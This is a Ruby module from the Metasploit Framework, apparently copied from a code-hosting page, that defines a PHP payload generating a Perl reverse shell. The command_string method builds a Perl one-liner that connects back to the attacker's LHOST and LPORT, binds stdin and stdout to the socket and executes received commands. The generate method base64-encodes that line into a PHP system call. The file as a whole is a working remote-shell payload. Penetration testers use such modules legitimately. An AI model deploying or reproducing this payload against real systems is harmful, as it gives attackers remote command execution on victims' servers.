62 lines
1.5 KiB
Ruby
62 lines
1.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/payload/php'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Php
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'PHP Command, Double reverse TCP connection (via perl)',
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'Version' => '$Revision$',
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'Description' => 'Creates an interactive shell via perl',
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'Author' => 'cazz',
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'License' => BSD_LICENSE,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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buf = "#{php_preamble}"
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buf += "$c = base64_decode('#{Rex::Text.encode_base64(command_string)}');"
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buf += "#{php_system_block({:cmd_varname=>"$c"})}"
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return super + buf
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"#{datastore['LHOST']}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
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end
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end |